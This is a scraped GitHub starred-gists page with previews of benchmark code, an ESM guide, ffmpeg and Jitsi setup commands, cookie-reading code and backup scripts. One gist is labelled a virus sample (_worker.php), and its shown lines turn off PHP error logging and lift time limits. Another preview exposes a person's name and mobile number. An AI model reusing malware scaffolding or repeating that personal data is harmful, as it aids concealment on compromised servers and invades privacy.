Skip to content

Instantly share code, notes, and snippets.

View ramazansancar's full-sized avatar
๐Ÿ“š
Study

Ramazan Sancar ramazansancar

๐Ÿ“š
Study
View GitHub Profile
@jwalton
jwalton / main_benchmark_test.go
Last active November 8, 2023 14:04
Gawk Benchmark
package main
import (
"testing"
"github.com/fatih/color"
"github.com/jwalton/gchalk"
"github.com/logrusorgru/aurora"
"github.com/mgutz/ansi"
"github.com/muesli/termenv"
@sindresorhus
sindresorhus / esm-package.md
Last active July 17, 2026 01:54
Pure ESM package

Pure ESM package

The package that linked you here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

  1. Use ESM yourself. (preferred)
    Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
  2. If the package is used in an async context, you could use await import(โ€ฆ) from CommonJS instead of require(โ€ฆ).
  3. Stay on the existing version of the package until you can move to ESM.
@regstuff
regstuff / 16-merge.txt
Created February 22, 2021 12:41
Merge 16 mono audios into one 16 channel audio
ffmpeg -i 1.wav -i 2.wav -i 3.wav -i 4.wav -i 5.wav -i 6.wav -i 7.wav -i 8.wav -i 9.wav -i 10.wav -i 11.wav -i 12.wav -i 13.wav -i 14.wav -i 15.wav -i 16.wav -filter_complex "[2:a][0:a][1:a][3:a][4:a][5:a][6:a][7:a][8:a][9:a][10:a][11:a][12:a][13:a][14:a][15:a]join=inputs=16:channel_layout=hexadecagonal[a]" -map "[a]" output.wav
{
"RequestID": "MakeOrder_5332109163_20210126134804",
"Name": "OZGUR AKSU",
"MobilePhone": "5332109163",
"ProductIDs": [
262,
131,
130,
134,
244,
@mertcb
mertcb / create_server.sh
Created January 11, 2021 19:20
Create Jitsi Server in one command
# ENTER YOUR CUSTOM VALUES HERE
HOSTNAME="subdomain.example.com"
EMAIL="info@example.com"
# set hostname
hostnamectl set-hostname $HOSTNAME
echo -e "127.0.0.1 localhost $HOSTNAME" >> /etc/hosts
# add Jitsi to sources
wget -qO - https://download.jitsi.org/jitsi-key.gpg.key | sudo apt-key add -
{
"GetCustomerResult": {
"schema": {
"attributes": {
"id": "NewDataSet"
},
"element": {
"attributes": {
"name": "NewDataSet",
"msdata:IsDataSet": "true",
@C4illin
C4illin / Steam Codes
Last active July 23, 2026 19:34
This gist is used to keep track of steam games
a/1395310
s/197845
a/368230
s/516145
a/1204740
a/638490
a/1273710
a/884660
a/893390
s/239770
@mertcb
mertcb / getCookies.ts
Created October 25, 2020 15:10
How to get cookies with angular ( vanilla way )
getCookieByName(name: string) {
let cookies: Array<string> = document.cookie.split(';');
let cookieName = `${name}=`;
let resCookie: string;
for (let i = 0; i < cookies.length; i++) {
resCookie = cookies[i].replace(/^\s+/g, '');
if (resCookie.indexOf(cookieName) == 0) {
return resCookie.substring(cookieName.length, resCookie.length);
}
@Saw-mon-and-Natalie
Saw-mon-and-Natalie / _worker.php
Last active October 23, 2024 09:12
lowerbeforwarden virus
/*
* Created by cpl.php
*/
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(3600);
@sinbad
sinbad / backup_gitea.sh
Created August 9, 2020 14:58
My Gitea Backup & Restore Scripts
#!/bin/bash
# `gitea dump` doesn't currently back up LFS data as well, only git repos
# It primarily backs up the SQL DB, and also the config / logs
# We'll backup like this:
# * "gitea dump" to backup the DB and config etc
# * tar / bzip all the repos since they will be skipped
# * Not rotated because git data is immutable (normally) so has all data
# * rsync LFS data directly from /volume/docker/gitea/git/lfs
# * No need for rotation since all files are immutable